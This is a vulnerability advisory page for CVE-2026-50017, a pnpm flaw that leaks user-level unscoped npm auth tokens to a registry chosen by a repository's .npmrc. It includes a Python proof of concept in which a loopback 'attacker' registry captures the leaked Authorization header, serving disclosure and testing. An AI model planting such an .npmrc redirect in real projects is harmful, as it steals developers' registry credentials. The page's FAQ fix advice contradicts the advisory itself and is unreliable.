CVE-2026-50017: pnpm binds unscoped user-level npm auth credentials to a repository-selected registry

Published Jun 25, 2026
·
Updated

Summary

pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local .npmrc file.

In the reproduced case, the user's npm config contains a default registry and an unscoped authToken. The repository does not provide a token-bearing auth line. It only sets registry= to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as an Authorization header.

This was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used.

Affected Behavior Observed

Observed affected:

- pnpm 10.33.2: pnpm install --ignore-scripts sends the user-level unscoped authToken to the repository-selected registry. - pnpm 11.1.3: pnpm install --ignore-scripts sends the user-level unscoped authToken to the repository-selected registry. - pnpm 11.2.1 (next-11 dist tag at testing time): pnpm install --ignore-scripts sends the user-level unscoped authToken to the repository-selected registry. - pnpm 11.1.3: pnpm view also sends user-level unscoped authToken, auth, and username / password credentials to the repository-selected registry in the local loopback replay.

Control:

- npm 10.9.7 rejects the same unscoped user authToken configuration with ERRINVALIDAUTH and does not send an Authorization header to the repository-selected registry. - URL-scoped registry token controls held in the local loopback replay: tokens scoped to the trusted registry URL were not sent to the attacker registry.

Threat Model

Victim:

- developer or CI job with user-level npm registry credentials configured; - runs pnpm install, pnpm view, or an equivalent pnpm metadata/restore command in a repository.

Attacker:

- controls repository-local package manager configuration, such as .npmrc; - can set registry= to a registry endpoint they control; - does not need to provide a token-bearing auth line for the strong case.

Boundary:

Credentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry.

Minimal Reproduction

The reproducer below starts two loopback HTTP registries:

- a trusted registry URL used in the isolated user .npmrc; - an attacker registry URL used in the repository-local .npmrc.

The isolated user .npmrc contains:

ini registry=<trusted-loopback-registry> authToken=PR166FAKEREGISTRYTOKEN

The repository-local .npmrc contains:

ini registry=<attacker-loopback-registry>

The repository package.json depends on a toy package served by the loopback registry. The script then runs:

text pnpm install --ignore-scripts npm install --ignore-scripts

Expected Safe Behavior

pnpm should not send the user-level unscoped authToken to the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry.

Observed Behavior

pnpm 10.33.2, pnpm 11.1.3, and pnpm 11.2.1 send:

http Authorization: Bearer PR166FAKEREGISTRYTOKEN

to the attacker loopback registry during install. npm 10.9.7 rejects the same config and sends no Authorization header.

Security Impact

This can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution.

Non-Claims

This report does not claim:

- remote code execution; - registry account compromise by itself; - leakage of URL-scoped tokens for a different registry; - npm CLI impact; - impact from a repository explicitly committing its own token-bearing auth line.

Source-Level Notes

In pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local .npmrc can change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice.

Suggested Fix Direction

The conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped credentials.

This needs maintainer semantic review and compatibility control because some legacy workflows may intentionally rely on default/unscoped auth.

Runnable Reproducer

Save the following as repro.py and run it with Python 3 in an environment with pnpm and npm available. To force a specific pnpm version through Corepack, set PR166PNPMSPEC, for example PR166PNPMSPEC=11.2.1.

python import base64 import contextlib import hashlib import http.server import io import json import os import shutil import subprocess import sys import tarfile import tempfile import threading from pathlib import Path

"""Standalone loopback reproducer.

It creates only temporary directories and loopback HTTP servers. Cleanup is handled by TemporaryDirectory context managers and registry shutdown handlers; no persistent state is expected outside the package-manager cache directories inside the temporary home. Non-claims: this does not use real credentials, third-party registries, package scripts, or remote services. Failure paths return exit 1 or exit 2 through sys.exit(main()). """

TOKEN = "PR166FAKEREGISTRYTOKEN" PACKAGETGZ = None

class RegistryHandler(http.server.BaseHTTPRequestHandler): requests = []

def doGET(self): self.requests.append( { "method": self.command, "path": self.path, "authorization": self.headers.get("Authorization"), } ) if self.path.endswith(".tgz"): payload = makepackagetgz() self.sendresponse(200) self.sendheader("Content-Type", "application/octet-stream") self.sendheader("Content-Length", str(len(payload))) self.endheaders() self.wfile.write(payload) return

payload = makepackagetgz() body = json.dumps( { "name": "@private/probe", "dist-tags": {"latest": "1.0.0"}, "versions": { "1.0.0": { "name": "@private/probe", "version": "1.0.0", "dist": { "tarball": f"http://127.0.0.1:{self.server.serverport}/private/@private/probe/-/probe-1.0.0.tgz", "shasum": hashlib.sha1(payload).hexdigest(), "integrity": "sha512-" + base64.b64encode(hashlib.sha512(payload).digest()).decode("ascii"), }, } }, } ).encode("utf-8") self.sendresponse(200) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)

def logmessage(self, fmt, args): return

@contextlib.contextmanager def registry(): handler = type("RecordingRegistryHandler", (RegistryHandler,), {"requests": []}) server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), handler) thread = threading.Thread(target=server.serveforever, daemon=True) thread.start() try: yield server, handler.requests finally: server.shutdown() thread.join(timeout=5) server.serverclose()

def makepackagetgz(): global PACKAGETGZ if PACKAGETGZ is not None: return PACKAGETGZ bio = io.BytesIO() with tarfile.open(fileobj=bio, mode="w:gz") as tf: data = b'{"name":"@private/probe","version":"1.0.0"}\n' info = tarfile.TarInfo("package/package.json") info.size = len(data) tf.addfile(info, io.BytesIO(data)) PACKAGETGZ = bio.getvalue() return PACKAGETGZ

def writetext(path, text): path.parent.mkdir(parents=True, existok=True) path.writetext(text, encoding="utf-8", newline="\n")

def runinstall(tool, trustedurl, attackerurl): exe = shutil.which(tool) if exe is None: return {"tool": tool, "error": "missing"} cmd = [exe, "install", "--ignore-scripts"] if tool == "pnpm" and os.environ.get("PR166PNPMSPEC"): corepack = shutil.which("corepack") if corepack is None: return {"tool": tool, "error": "corepack missing"} cmd = [corepack, f"pnpm@{os.environ['PR166PNPMSPEC']}", "install", "--ignore-scripts"]

with tempfile.TemporaryDirectory(prefix=f"pr166-min-{tool}-") as td: root = Path(td) home = root / "home" project = root / "project" home.mkdir() project.mkdir() userconfig = home / ".npmrc"

writetext(userconfig, f"registry={trustedurl}\nauthToken={TOKEN}\n") writetext(project / ".npmrc", f"registry={attackerurl}\n") writetext( project / "package.json", '{"name":"pr166-probe","version":"1.0.0","dependencies":{"@private/probe":"1.0.0"}}\n', )

env = os.environ.copy() env.update( { "HOME": str(home), "USERPROFILE": str(home), "NPMCONFIGUSERCONFIG": str(userconfig), "npmconfiguserconfig": str(userconfig), "NPMCONFIGCACHE": str(home / "cache"), "npmconfigcache": str(home / "cache"), "NPMCONFIGSTOREDIR": str(home / "store"), "npmconfigstoredir": str(home / "store"), "XDGCACHEHOME": str(home / "xdg-cache"), "XDGDATAHOME": str(home / "xdg-data"), "NOCOLOR": "1", } )

proc = subprocess.run( cmd, cwd=str(project), env=env, text=True, encoding="utf-8", errors="replace", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=60, ) return {"tool": tool, "returncode": proc.returncode, "outputtail": proc.stdout[-2000:]}

def summarize(tool, result, attackerrequests): authhits = [r for r in attackerrequests if r.get("authorization")] return { "tool": tool, "result": result, "attackerauthhits": authhits, "attackerrequestcount": len(attackerrequests), }

def toolversion(tool): exe = shutil.which(tool) if exe is None: return "missing" cmd = [exe, "--version"] if tool == "pnpm" and os.environ.get("PR166PNPMSPEC"): corepack = shutil.which("corepack") if corepack is None: return "corepack missing" cmd = [corepack, f"pnpm@{os.environ['PR166PNPMSPEC']}", "--version"] proc = subprocess.run( cmd, text=True, encoding="utf-8", errors="replace", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=20, ) return proc.stdout.strip() or f"exit-{proc.returncode}"

def main(): pnpmversion = toolversion("pnpm") npmversion = toolversion("npm") print(f"TARGETVERSION=pnpm {pnpmversion}; npm {npmversion}") if pnpmversion == "missing" or npmversion == "missing": print("CHECK environmenthaspnpmandnpm result=fail") return 1

print("ENVIRONMENTREADY") overall = [] with registry() as (trusted, trustedrequests), registry() as (attacker, attackerrequests): trustedurl = f"http://127.0.0.1:{trusted.serverport}/private/" attackerurl = f"http://127.0.0.1:{attacker.serverport}/private/"

before = len(attackerrequests) pnpmresult = runinstall("pnpm", trustedurl, attackerurl) pnpmsummary = summarize("pnpm", pnpmresult, attackerrequests[before:]) overall.append(pnpmsummary)

before = len(attackerrequests) npmresult = runinstall("npm", trustedurl, attackerurl) npmsummary = summarize("npm", npmresult, attackerrequests[before:]) overall.append(npmsummary)

print(json.dumps(overall, indent=2))

pnpmleaked = bool(overall[0]["attackerauthhits"]) npmleaked = bool(overall[1]["attackerauthhits"]) print(f"OBSERVEDPNPMAUTHHITS={len(overall[0]['attackerauthhits'])}") print(f"OBSERVEDNPMAUTHHITS={len(overall[1]['attackerauthhits'])}") print( "COMMANDEXITCODE=" f"pnpm:{overall[0]['result'].get('returncode', 'missing')} " f"npm:{overall[1]['result'].get('returncode', 'missing')}" ) if pnpmleaked and not npmleaked: print("CHECK pnpmleaked=true npmcontrolheld=true result=pass") print("VULNERABLEBEHAVIORCONFIRMED") print("RESULTPNPMREBINDSUNSCOPEDUSERTOKENNPMCONTROLHELD") print("RESULTSECURITYBOUNDARYBYPASSCONFIRMED") return 0 if pnpmleaked and npmleaked: print("CHECK pnpmleaked=true npmcontrolheld=false result=fail") print("RESULTBOTHTOOLSSENTAUTH") return 2 print("CHECK pnpmleaked=false result=fail") print("RESULTNOPNPMAUTHLEAK") return 1

if name == "main": sys.exit(main())

Abbreviated Expected Output

text TARGETVERSION=pnpm 11.2.1; npm 10.9.7 ENVIRONMENTREADY ... OBSERVEDPNPMAUTHHITS=3 OBSERVEDNPMAUTHHITS=0 COMMANDEXITCODE=pnpm:0 npm:1 CHECK pnpmleaked=true npmcontrolheld=true result=pass VULNERABLEBEHAVIORCONFIRMED RESULTPNPMREBINDSUNSCOPEDUSERTOKENNPMCONTROLHELD RESULTSECURITYBOUNDARYBYPASSCONFIRMED

Reporter: JUNYI LIU

Other sources

pnpm is a package manager. Prior to 10.34.0 and 11.4.0, pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local .npmrc file. In the reproduced case, the user's npm config contains a default registry and an unscoped authToken. The repository does not provide a token-bearing auth line. It only sets registry= to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as an Authorization header. This vulnerability is fixed in 10.34.0 and 11.4.0.

MITRE

Affected Software

5 affected componentsFixes available
pnpm><10.34.0, ><11.4.0
npm/pnpm>=11.0.0<11.4.0
11.4.0
npm/pnpm<10.34.0
10.34.0
PNPM Pnpm Node.js<10.34.0
PNPM Pnpm Node.js>=11.0.0<11.4.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/pnpm to a version that resolves this vulnerability.

    Fixed in 11.4.0
  2. Upgrade

    Upgrade npm/pnpm to a version that resolves this vulnerability.

    Fixed in 10.34.0

Event History

Jun 25, 2026
CVE Published
via MITRE·04:56 PM
Data Sourced
via MITRE·04:56 PM
DescriptionWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software
Jun 26, 2026
Advisory Published
via GitHub·10:59 PM
Data Sourced
via GitHub·10:59 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-50017?

The severity of CVE-2026-50017 is rated medium with a CVSS score of 6.9.

2

What does CVE-2026-50017 affect?

CVE-2026-50017 affects pnpm when it sends user-level unscoped npm authentication credentials to a user-selected registry.

3

How do I fix CVE-2026-50017?

To fix CVE-2026-50017, ensure that your repository provides a token-bearing authentication line or avoid using unscoped authentication tokens in your configuration.

4

What risks does CVE-2026-50017 pose?

CVE-2026-50017 poses a risk of information leakage, as user credentials may be sent to an unintended registry.

5

How can I determine if I am affected by CVE-2026-50017?

You may be affected by CVE-2026-50017 if your npm configuration includes an unscoped authentication token and a repository-local .npmrc file selecting a registry.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203